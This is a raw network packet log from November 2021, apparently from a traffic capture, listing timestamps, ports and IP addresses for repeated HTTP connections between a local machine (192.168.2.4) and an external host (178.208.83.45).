Nov 12, 2021 22:23:34.941013098 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.941029072 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.941096067 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.941184044 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.943231106 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:34.944215059 CET	49846	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.031352997 CET	49846	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.031647921 CET	49847	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.033258915 CET	49848	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.053725004 CET	80	49846	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.053832054 CET	49846	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.053895950 CET	80	49847	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.053963900 CET	49847	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.055550098 CET	80	49848	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.057702065 CET	49848	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.058315039 CET	49848	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.080671072 CET	80	49848	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.083642006 CET	80	49848	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.084666967 CET	49848	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.187262058 CET	49848	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.188393116 CET	49849	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.209764957 CET	80	49848	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.209852934 CET	49848	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.210768938 CET	80	49849	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.210910082 CET	49849	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.211416006 CET	49849	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.233815908 CET	80	49849	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.235934973 CET	80	49849	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.236038923 CET	49849	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.344746113 CET	49849	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.346302032 CET	49850	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.347980976 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.367288113 CET	80	49849	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.367398977 CET	49849	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.368741989 CET	80	49850	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.368954897 CET	49850	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.369415045 CET	49850	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.370413065 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.370574951 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.370982885 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.371074915 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.371361017 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.371522903 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.391756058 CET	80	49850	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.393208027 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.393239021 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.393621922 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.393649101 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.393675089 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.393727064 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.393752098 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.393804073 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.393812895 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.393843889 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.393868923 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.393871069 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.393893003 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.393904924 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.393915892 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.393924952 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.393934965 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.393956900 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.393985033 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.394028902 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.394054890 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.395613909 CET	80	49850	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.395719051 CET	49850	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.416270971 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.416307926 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.416332960 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.416359901 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.416388035 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.416414976 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.416452885 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.416466951 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.416496992 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.416524887 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.416543961 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.416543961 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.416563988 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.416572094 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.416575909 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.416588068 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.416600943 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.416616917 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.416636944 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.416659117 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.416686058 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.416713953 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.416740894 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.416765928 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.416769028 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.416794062 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.416815996 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.416836977 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.416912079 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.416940928 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.416968107 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.416997910 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.417011023 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.417042017 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.417057037 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.417068958 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.439028025 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.439078093 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.439106941 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.439218044 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.439245939 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.439306974 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.439399004 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.439416885 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.439428091 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.439433098 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.439466953 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.439580917 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.439584017 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.439603090 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.439611912 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.439613104 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.439639091 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.439667940 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.439697981 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.439723969 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.439752102 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.439779997 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.439807892 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.439836979 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.439882994 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.439934969 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.439965010 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.439994097 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.440022945 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.440052986 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.440079927 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.440164089 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.440191984 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.440218925 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.440339088 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.440367937 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.440395117 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.440438032 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.440475941 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.440502882 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.440531015 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.440557957 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.440587044 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.440615892 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.440642118 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.462496996 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.462533951 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.462563038 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.462901115 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.462927103 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.462990046 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.463016987 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.463068008 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.463146925 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.463228941 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.463253975 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.463279963 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.463346958 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.466345072 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.466577053 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.501413107 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.527137041 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.527322054 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.645376921 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.645608902 CET	49850	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.646938086 CET	49852	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.667869091 CET	80	49851	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.667895079 CET	80	49850	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.667995930 CET	49851	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.668065071 CET	49850	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.669239044 CET	80	49852	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.669368982 CET	49852	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.669938087 CET	49852	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.692317009 CET	80	49852	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.695199966 CET	80	49852	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.695317030 CET	49852	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.797261000 CET	49852	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.799468040 CET	49853	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.819768906 CET	80	49852	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.820019007 CET	49852	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.821758032 CET	80	49853	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.821911097 CET	49853	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.822403908 CET	49853	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.844937086 CET	80	49853	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.847428083 CET	80	49853	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.847628117 CET	49853	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.953572035 CET	49853	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.954713106 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.976176977 CET	80	49853	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.976346970 CET	49853	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.977021933 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:35.977165937 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:35.977914095 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.000328064 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.003946066 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.004060030 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.076555967 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.076731920 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.076972008 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.077384949 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.099065065 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.099371910 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.099395037 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.099487066 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.099528074 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.099582911 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.099613905 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.099663973 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.099685907 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.099714041 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.099735975 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.121926069 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.121946096 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.121989012 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.122046947 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.122087002 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.122140884 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.122220993 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.122246981 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.122289896 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.122328997 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.122329950 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.122349024 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.122406960 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.122415066 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.122420073 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.122433901 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.122437954 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.122479916 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.122509956 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.126966953 CET	49855	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.144474030 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.144495010 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.144515991 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.144610882 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.144642115 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.144685030 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.144728899 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.144776106 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.144828081 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.144871950 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.144913912 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.144962072 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.144994974 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.145037889 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.145133972 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.145165920 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.145247936 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.145366907 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.145405054 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.149600029 CET	80	49855	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.149744987 CET	49855	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.150866032 CET	49855	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.167534113 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.169392109 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.169569969 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.173377991 CET	80	49855	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.176911116 CET	80	49855	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.177103043 CET	49855	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.281939983 CET	49855	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.282397985 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.284442902 CET	49856	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.304590940 CET	80	49855	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.304635048 CET	80	49854	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.304769039 CET	49855	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.304779053 CET	49854	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.306804895 CET	80	49856	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.306998014 CET	49856	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.307986975 CET	49856	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.330193996 CET	80	49856	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.333367109 CET	80	49856	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.333439112 CET	49856	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.454576969 CET	49856	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.456625938 CET	49857	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.477147102 CET	80	49856	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.477237940 CET	49856	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.478890896 CET	80	49857	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.479021072 CET	49857	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.480122089 CET	49857	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.502433062 CET	80	49857	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.505465984 CET	80	49857	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.505546093 CET	49857	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.551738024 CET	49857	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.552825928 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.574114084 CET	80	49857	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.574212074 CET	49857	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.575123072 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.575258970 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.576028109 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.576247931 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.576577902 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.576750994 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.598262072 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.598359108 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.598829031 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.598845959 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.598861933 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.598875999 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.598891973 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.598906040 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.598921061 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.598934889 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.598956108 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.598990917 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.599001884 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.599087954 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.599155903 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.616751909 CET	49859	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.621275902 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.621293068 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.621299028 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.621329069 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.621331930 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.621339083 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.621381044 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.621428013 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.621439934 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.621447086 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.621452093 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.621558905 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.621562958 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.621571064 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.621591091 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.621607065 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.621623993 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.621639013 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.621674061 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.621685982 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.621727943 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.621743917 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.621758938 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.621819019 CET	80	49858	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.621822119 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.621963024 CET	49858	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.639215946 CET	80	49859	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:36.639344931 CET	49859	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:36.640966892 CET	49859	80	192.168.2.4	178.208.83.45
